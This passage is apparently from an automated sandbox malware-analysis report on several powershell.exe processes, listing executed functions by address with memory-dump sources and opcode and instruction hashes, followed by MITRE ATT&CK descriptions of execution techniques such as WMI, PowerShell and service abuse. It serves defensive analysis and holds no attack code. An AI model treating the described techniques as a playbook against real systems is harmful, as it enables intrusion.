Opcode Fuzzy Hash: 4eb20e273cb9e59bf7ded062698cd7ef35b3e6c67955553597fa37d41371dde2
Instruction Fuzzy Hash: 834250B1D18A5D8FEB99EF28C8997A9B7E1FF98340F0041F6D40DD32A1DE345A818B51

Function 00007FFB4B4E5B6D Relevance: 1.8, Strings: 1, Instructions: 565COMMON

Download Yara Rule

Strings

H<sK, xrefs: 00007FFB4B4E5ED9

Memory Dump Source

Source File: 00000000.00000002.1911220677.00007FFB4B4E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B4E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffb4b4e0000_powershell.jbxd

Similarity

API ID:
String ID: H<sK
API String ID: 0-3079209239
Opcode ID: cdf2039883bd64ba9afea9c87456d4164a23650851faac1c5f57218ad0c2ac51
Instruction ID: 8c1dcefdd6cd50ea0b378a49a206642ecb280051a2fe9b35a6092b91ae698f1c
Opcode Fuzzy Hash: cdf2039883bd64ba9afea9c87456d4164a23650851faac1c5f57218ad0c2ac51
Instruction Fuzzy Hash: E8F1C8D7E0D6D22FF756AE7C99692E53F90EF52321B0880F7C2C5C70A3E90916068791

Function 00007FFB4B4F0D96 Relevance: .4, Instructions: 373COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1911220677.00007FFB4B4E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B4E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffb4b4e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7826d511f764bf122ea81afb9c26241f2a815889da0d36db7ca8dec88bb4c948
Instruction ID: c0c777d3f890be6913d8152fc85098db860bde1562e608df272c7d18a60a9be9
Opcode Fuzzy Hash: 7826d511f764bf122ea81afb9c26241f2a815889da0d36db7ca8dec88bb4c948
Instruction Fuzzy Hash: 9FB1F267A4E6A18BD302BB7CF8521E97FA4DF8233570841F7D6C9CA053D91824CB87A1

Function 00007FFB4B4F0DEB Relevance: .3, Instructions: 325COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1911220677.00007FFB4B4E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B4E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffb4b4e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 95c7fae12a292a1fc69ec74f5de74a52f64f47c68518438e4ceaa4465dcacac8
Instruction ID: a6e78f0a7bd08ca54708641ff037666459e6a54f1ad899f23077ba66436da7a6
Opcode Fuzzy Hash: 95c7fae12a292a1fc69ec74f5de74a52f64f47c68518438e4ceaa4465dcacac8
Instruction Fuzzy Hash: 52A1B467A4E6A18AD3037BBCF8521D97FA4DF8223570845F7D6C9CA053D91C20CB87A5

Function 00007FFB4B4F0ED3 Relevance: .2, Instructions: 240COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1911220677.00007FFB4B4E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B4E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffb4b4e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0afb28b28775dca93c1ca123ca1b31a74b837d4f1b8c67965c4281ee0e12334
Instruction ID: 07b9a2a8afb471eeadf724f62d19115c5f7d788c22eebb06ae69ff25e6fbc5a3
Opcode Fuzzy Hash: c0afb28b28775dca93c1ca123ca1b31a74b837d4f1b8c67965c4281ee0e12334
Instruction Fuzzy Hash: 2A619367A4E6618AD3037BBCF8560E96FA4DF8133570845F7C6C9CA053D91C24CB87A5

Function 00007FFB4B4F10FA Relevance: .2, Instructions: 214COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1911220677.00007FFB4B4E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B4E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffb4b4e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c30453ede8154b0a60d914401f7fba898a863efd29806382e7ecec60264c102
Instruction ID: d9a1875c2bb7280a6b9a75762c6aefc7053ec38888e4b06d12aa84859c55c026
Opcode Fuzzy Hash: 2c30453ede8154b0a60d914401f7fba898a863efd29806382e7ecec60264c102
Instruction Fuzzy Hash: 6351819794D2B285D71377FCF4521EA6FA49F82374B0881B7D5CEC90939C0824C786A6

Analysis Process: powershell.exePID: 7256, Parent PID: 7728COMMON

Executed Functions

Function 00007FFB4B3DE540 Relevance: .1, Instructions: 122COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1863453421.00007FFB4B3DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B3DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffb4b3dd000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80bb024390052f99b62b50b00e47609ee4c91e43db70bf7deec2ff7d191f80d7
Instruction ID: d97334e2340c675f8c3f4bf0c59f71fe3d9220b79c5dfc5b2de151da6884ed76
Opcode Fuzzy Hash: 80bb024390052f99b62b50b00e47609ee4c91e43db70bf7deec2ff7d191f80d7
Instruction Fuzzy Hash: 7D41227040DBC44FEB5A9B39D8419923FF0EF52224F1906DFD088CB0A7D625E80AC7A2

Function 00007FFB4B4F3C85 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1864579679.00007FFB4B4F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B4F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffb4b4f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c862458371f309d9031ec48f8c61bc50cb201251c996baa4c62582f1c149be21
Instruction ID: c242b0d1adc8a453219837e76f63096fdd83f1a16dbe7e057ff49a4547476569
Opcode Fuzzy Hash: c862458371f309d9031ec48f8c61bc50cb201251c996baa4c62582f1c149be21
Instruction Fuzzy Hash: 6701677111CB0C8FD744EF0CE451AA9B7E0FB95364F50056DE58AC3661DB36E882CB45

Analysis Process: powershell.exePID: 8884, Parent PID: 8768COMMON

Executed Functions

Function 00007FFB4B4D7796 Relevance: .5, Instructions: 474COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.2957992378.00007FFB4B4D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B4D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ffb4b4d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cad0e5d6ea0f4ba7efbe1fb57e755c623399ec560cbe6723714018713ed9e87b
Instruction ID: 4dc92ba71f7fedd8f53883f2aeea13fa8378ab892a9e7b9c633acc0c960b0f5e
Opcode Fuzzy Hash: cad0e5d6ea0f4ba7efbe1fb57e755c623399ec560cbe6723714018713ed9e87b
Instruction Fuzzy Hash: D8F1D47090CA4D8FEBA9EF28C8457E977E1FF54310F14826EE84DC7295DB3899458B82

Function 00007FFB4B4D8542 Relevance: .5, Instructions: 460COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.2957992378.00007FFB4B4D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B4D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ffb4b4d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 944b76f9026decc88e657fcf32309a972891e5321430af84171f03a6030d0bdc
Instruction ID: bc8865a205046551c755ffb26af49b09709b7e99597c3852bef1a67cf42d1e27
Opcode Fuzzy Hash: 944b76f9026decc88e657fcf32309a972891e5321430af84171f03a6030d0bdc
Instruction Fuzzy Hash: D9E1B37090CA4D8FEBA9EF28C8557F977D1FF54320F14826ED84DC7291DA78A8458782

Function 00007FFB4B4D8156 Relevance: .3, Instructions: 333COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.2957992378.00007FFB4B4D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B4D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ffb4b4d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c3b9de9b31e15a8f82c839973d7e7c07a094bb99fff8c8547410ba4a46a676c
Instruction ID: 8510876d64cd53d3057116acc743ce4fc68ec9bc934c0bcc619a23032b16a686
Opcode Fuzzy Hash: 0c3b9de9b31e15a8f82c839973d7e7c07a094bb99fff8c8547410ba4a46a676c
Instruction Fuzzy Hash: 03B1A47050CA4D8FEB69EF28D8557F93BE1FF55310F14826EE84DC7292DA34A8458B82

Function 00007FFB4B4D7C54 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.2957992378.00007FFB4B4D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B4D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ffb4b4d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 63a6b283a538841243d3fdf02f9dac493846e4db67a6c9e0228e0ea821849755
Instruction ID: b819b09c42c3d1faf7f05ec2bb10cb0b9c21ab4bb1fbd11d9e3e4391056a7ea0
Opcode Fuzzy Hash: 63a6b283a538841243d3fdf02f9dac493846e4db67a6c9e0228e0ea821849755
Instruction Fuzzy Hash: 67310FB091D64E8EFBB4AF34DD0ABF932A4FF42315F805139D90D861A2DB386985CB15

Function 00007FFB4B4D33B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.2957992378.00007FFB4B4D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B4D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ffb4b4d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76d70864090ee490991c90939bad70b8686d9afa50a49723ed7ebb2cc1aa164d
Instruction ID: 8792136ca6e9dac87735318acb46e447732c6a29efb88b7cb18848a2eefd6f30
Opcode Fuzzy Hash: 76d70864090ee490991c90939bad70b8686d9afa50a49723ed7ebb2cc1aa164d
Instruction Fuzzy Hash: 3901677111CB0C8FD744EF0CE451AA9B7E0FB95364F10056DE58AC3661DB36E892CB45

Analysis Process: powershell.exePID: 9072, Parent PID: 8768COMMON

Executed Functions

Function 00007FFB4B4E86F6 Relevance: 1.4, Strings: 1, Instructions: 182COMMON

Download Yara Rule

Strings

@, xrefs: 00007FFB4B4E880E

Memory Dump Source

Source File: 0000001F.00000002.2977476456.00007FFB4B4E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B4E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffb4b4e0000_powershell.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: fd74c797ab02dfd07ec377d0fb9dd409cef15ab8c2dd6f5d15ee777fe13a35af
Instruction ID: 4a5afe93064150070c1a326c000ea203f66d09a9fd1623db211a812f7ce39d68
Opcode Fuzzy Hash: fd74c797ab02dfd07ec377d0fb9dd409cef15ab8c2dd6f5d15ee777fe13a35af
Instruction Fuzzy Hash: BD51597181D6891FDB19EE38D8551F97BD0FF42330F0842BEC9898B0E2CE29A616C341

Function 00007FFB4B4E871F Relevance: 1.4, Strings: 1, Instructions: 141COMMON

Download Yara Rule

Strings

@, xrefs: 00007FFB4B4E880E

Memory Dump Source

Source File: 0000001F.00000002.2977476456.00007FFB4B4E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B4E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffb4b4e0000_powershell.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: b31378cb19266a8a32a797d58c76d93b5f144a701f433ca13e55cf2b87ede4e5
Instruction ID: 0e658816dc2c953e455ec99c73c26403aeb3d5401a259bd1c1a1d8d447477c4d
Opcode Fuzzy Hash: b31378cb19266a8a32a797d58c76d93b5f144a701f433ca13e55cf2b87ede4e5
Instruction Fuzzy Hash: DF416C61C0D6D95FEF55EE3889516F97FD0EF02320F0842BDCAD9571E2CA296206C391

Function 00007FFB4B4E8738 Relevance: 1.3, Strings: 1, Instructions: 91COMMON

Download Yara Rule

Strings

@, xrefs: 00007FFB4B4E880E

Memory Dump Source

Source File: 0000001F.00000002.2977476456.00007FFB4B4E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B4E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffb4b4e0000_powershell.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 5eec2fc464a6dd3a2c9e03d9869272b405ea353add44d8d6b3d2a24892219247
Instruction ID: 79817d7ae9f78a10bd2615b4eb2954d3c8e4a008b545b4511ac9cf9eb9340c41
Opcode Fuzzy Hash: 5eec2fc464a6dd3a2c9e03d9869272b405ea353add44d8d6b3d2a24892219247
Instruction Fuzzy Hash: DA312664C1C6D95AEF59EE38D9912F87BD0FF02320F58427CC9DA571E2CA296216C341

Function 00007FFB4B4E8751 Relevance: 1.3, Strings: 1, Instructions: 84COMMON

Download Yara Rule

Strings

@, xrefs: 00007FFB4B4E880E

Memory Dump Source

Source File: 0000001F.00000002.2977476456.00007FFB4B4E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B4E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffb4b4e0000_powershell.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: ed0803ba1eb40aa16c19935e7dd384b6800223ab2131496bbccf704a0591f273
Instruction ID: e38515182322fe0f8d945bdff20704e94f28b8061ff0db5783fdbc40ff4f183f
Opcode Fuzzy Hash: ed0803ba1eb40aa16c19935e7dd384b6800223ab2131496bbccf704a0591f273
Instruction Fuzzy Hash: 79212264C1C6995AEF59EE38D9812E877D0FF02320F48437CCA9A571D2CA296216C381

Function 00007FFB4B4E6FED Relevance: .4, Instructions: 354COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.2977476456.00007FFB4B4E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B4E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffb4b4e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 546ae298109ba3801740b314a15365d3911bd364652e1d1434e6609304d64174
Instruction ID: 6c136ea73a1a6462c32dcade5ca1d385b7a57d7133d70b4060d557ac24f4859f
Opcode Fuzzy Hash: 546ae298109ba3801740b314a15365d3911bd364652e1d1434e6609304d64174
Instruction Fuzzy Hash: 3AB1E792D1DAC61FE765AE7889112787FE1EF61360F0481FAE189C71E7DC24AF058391

Function 00007FFB4B4E7030 Relevance: .3, Instructions: 324COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.2977476456.00007FFB4B4E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B4E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffb4b4e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33646bdd8dcee9ded65ec3a0a3c354c467acc3f67fb67ec2095638231c48b361
Instruction ID: e4af951b13b882485d50de75158fa0502a22873fd47ad1c5f13f9bdf1583883e
Opcode Fuzzy Hash: 33646bdd8dcee9ded65ec3a0a3c354c467acc3f67fb67ec2095638231c48b361
Instruction Fuzzy Hash: FEA1FC92E1DAC61FE765AE78C9112797FD1EF61360F0481BAE189C72E7DC24AF058381

Function 00007FFB4B4E8C2D Relevance: .3, Instructions: 256COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.2977476456.00007FFB4B4E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B4E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffb4b4e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb3b069355b39e92904c06682e6091464917b186349eb1d0594d6670eeab4631
Instruction ID: 5879bc751e77aff7d6a2b0746f257ab57e504ece220239b1795c4a42f82d0db1
Opcode Fuzzy Hash: bb3b069355b39e92904c06682e6091464917b186349eb1d0594d6670eeab4631
Instruction Fuzzy Hash: D571E3B190CA4D9BDB59EB68D8515FDB7E1FF99310F00463EE18AD3292DE3469028781

Function 00007FFB4B4E7130 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.2977476456.00007FFB4B4E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B4E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffb4b4e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ecfdf9e2d050c97e226afe98ffed87cb833f387752b0392f64bb50ab8ad1a5ae
Instruction ID: 1d64da860bbb4ec38bfa9a2be5b9b41cf606b140bd66b1002981c749f664c1d2
Opcode Fuzzy Hash: ecfdf9e2d050c97e226afe98ffed87cb833f387752b0392f64bb50ab8ad1a5ae
Instruction Fuzzy Hash: D8510AA1E1C64A1BEFA5BE74C9212B97BE1EF65310F00417DD14EC71E3ED24AA05C381

Function 00007FFB4B4EAC32 Relevance: .2, Instructions: 150COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.2977476456.00007FFB4B4E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B4E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffb4b4e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1f486811c6c5508b97ca6fdfb78c0b35d1042ed47372b76b412dfe089727a1e
Instruction ID: 6c76a297e06b929c309f9d443a1ebeb7b0f993c3afe6be8b117fb1e9f649b6d8
Opcode Fuzzy Hash: b1f486811c6c5508b97ca6fdfb78c0b35d1042ed47372b76b412dfe089727a1e
Instruction Fuzzy Hash: 71414071A1C9195BDF99FB78C4556F9B3E1FF68310F0081BAD50EC3692DE34AA458B40

Function 00007FFB4B4E7ED0 Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.2977476456.00007FFB4B4E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B4E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffb4b4e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c6cc754d4443b542eb6dd76602a050a46a25091fac0cd765f48e6ac4c6a61d88
Instruction ID: d62933756b3e3dae9354c19f4b25bf833ea524bc554b4167425518cd42d28a1e
Opcode Fuzzy Hash: c6cc754d4443b542eb6dd76602a050a46a25091fac0cd765f48e6ac4c6a61d88
Instruction Fuzzy Hash: 0F511B71C0CA5D9EEB55EF68C8417F9B7F0FF24320F0085AAD14E97161DA746A45CB81

Function 00007FFB4B4E7EA4 Relevance: .1, Instructions: 132COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.2977476456.00007FFB4B4E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B4E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffb4b4e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a61022a8e9b74deba746e854c00e80a1d14ea1a8bd7aaff210b65696ade71b66
Instruction ID: f68eabd7f2fef3fad4091e8ded798afa2c7017c47d7e74d4c5b27a903ae630cc
Opcode Fuzzy Hash: a61022a8e9b74deba746e854c00e80a1d14ea1a8bd7aaff210b65696ade71b66
Instruction Fuzzy Hash: FD41D87190CA5D8FEB55EF58D841BE9B7F0FF64320F0082AAD14ED7151DA34AA85CB81

Function 00007FFB4B4E7EEF Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.2977476456.00007FFB4B4E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B4E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffb4b4e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4362b36a5d78604e8c5ed382189081b1fb6db4c94a8023fb4501a1eced55af5b
Instruction ID: d1c922c6004ccba4556186a53e016431cf3946eee649a113c2332a49e2be39eb
Opcode Fuzzy Hash: 4362b36a5d78604e8c5ed382189081b1fb6db4c94a8023fb4501a1eced55af5b
Instruction Fuzzy Hash: 7441717190CA1C8FDF55EF58D881BE9B3B1FB64310F00869AD04EA7251CA74AAC5CF81

Function 00007FFB4B4EB029 Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.2977476456.00007FFB4B4E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B4E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffb4b4e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a99a4dd167cf64659c250096fbf9a6838ecc8ea5367525e5013d17db4b12bf2f
Instruction ID: 963bfe238b384404180e36577e41bef8fb2dec1d49bb7c1a1e6167fc1c02bee0
Opcode Fuzzy Hash: a99a4dd167cf64659c250096fbf9a6838ecc8ea5367525e5013d17db4b12bf2f
Instruction Fuzzy Hash: 7B31867150C7858FD391EF78C5887A6FBE0FB99350F144A7AE088C7262DA64E5858742

Function 00007FFB4B4EB040 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.2977476456.00007FFB4B4E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B4E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffb4b4e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b38b88b8d7a11620dc0c42521750da98ae396ef705beb4eccaec4c6741adff26
Instruction ID: 213314be79924781474e3cb9f829d53197855d2647c9a27f39da845cf6c9d4a7
Opcode Fuzzy Hash: b38b88b8d7a11620dc0c42521750da98ae396ef705beb4eccaec4c6741adff26
Instruction Fuzzy Hash: E211A0B1A18A498FD760EF78C588A66F7E1EB98350F108A3AD449C3265DE74E4808781

Function 00007FFB4B4E6700 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.2977476456.00007FFB4B4E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B4E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffb4b4e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c91f8bb5612940347ec11d1d9cf77a374b71f9ec13eb81fd806d63c7de80ac71
Instruction ID: fc817c301a93a625fa354100a59b64d2010239c4ea9ac99912ca4a069144e6cd
Opcode Fuzzy Hash: c91f8bb5612940347ec11d1d9cf77a374b71f9ec13eb81fd806d63c7de80ac71
Instruction Fuzzy Hash: BE01807090C60A5BEBA9FE74C955ABEBAF1EF61320F10413DE14A935E2DE342A40C791

Function 00007FFB4B4E33B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.2977476456.00007FFB4B4E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B4E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffb4b4e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67d1617613e612b7a049b31fcb3c0c06bb00aa9b6616606570c7eb9b15762ca9
Instruction ID: 3025ec0b8b9fd0103352137f8b99fe593586074921af1a12fa29828e440becfe
Opcode Fuzzy Hash: 67d1617613e612b7a049b31fcb3c0c06bb00aa9b6616606570c7eb9b15762ca9
Instruction Fuzzy Hash: 6701677111CB0C8FD744EF0CE451AA9B7E0FB95364F10056DE58AC3661DB36E892CB45

Function 00007FFB4B4E8612 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.2977476456.00007FFB4B4E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B4E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffb4b4e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 127cb1c052ac826596a19d618cfb0e5e71bde08a2c27e8a293f774669ff0c289
Instruction ID: ec3a02cc267bd4f762050ae99f1ba676f0e14a9d9e3741791fb94f8c1bdb2060
Opcode Fuzzy Hash: 127cb1c052ac826596a19d618cfb0e5e71bde08a2c27e8a293f774669ff0c289
Instruction Fuzzy Hash: A5F0FF72A1CA5D4FDB94EE1CD8053EA73E2FB98321F004576E50DE3291DE356D158781

Function 00007FFB4B4E7040 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.2977476456.00007FFB4B4E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B4E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffb4b4e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f82943372961430f5b5cec1a057240bba9ff11aef228e15a6b083d16a857410e
Instruction ID: 546f5230c544c2fc696831a503fa7d74254133de86ec32201519a69785d9da7a
Opcode Fuzzy Hash: f82943372961430f5b5cec1a057240bba9ff11aef228e15a6b083d16a857410e
Instruction Fuzzy Hash: 81F030C391E7C61FE35A1AA89D211601EA1AB637E070984FBE1848B2EB9414AF098395

Function 00007FFB4B4E6FCA Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.2977476456.00007FFB4B4E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B4E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffb4b4e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0cdf15d412d8fe8d6d4b52e432ed8cbbc8ee902aeaea7fb03da5239919a5db78
Instruction ID: 6043cd4ca23c8fd8e85993dc18c4512c46b7a4ac7640522212eab29c96b25211
Opcode Fuzzy Hash: 0cdf15d412d8fe8d6d4b52e432ed8cbbc8ee902aeaea7fb03da5239919a5db78
Instruction Fuzzy Hash: 29C01241A5DD1A06A59576F8F0421E96191DF44221B0019F6D40AC218ADD1C69820291

Function 00007FFB4B4E7140 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.2977476456.00007FFB4B4E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B4E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_7ffb4b4e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ba8e7ce8bef4738a03fd934947d3559ae4dd18d0e15957c87e133424902ff30
Instruction ID: 3259f20f75fe207d20621f43173743c90c3b218246c595df2e4f1fd6ec1b1eed
Opcode Fuzzy Hash: 0ba8e7ce8bef4738a03fd934947d3559ae4dd18d0e15957c87e133424902ff30
Instruction Fuzzy Hash: E4B012C380E7C21FD3660E644D100605ED11B7639031950E7F0844B3EBE4148F0A8356

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
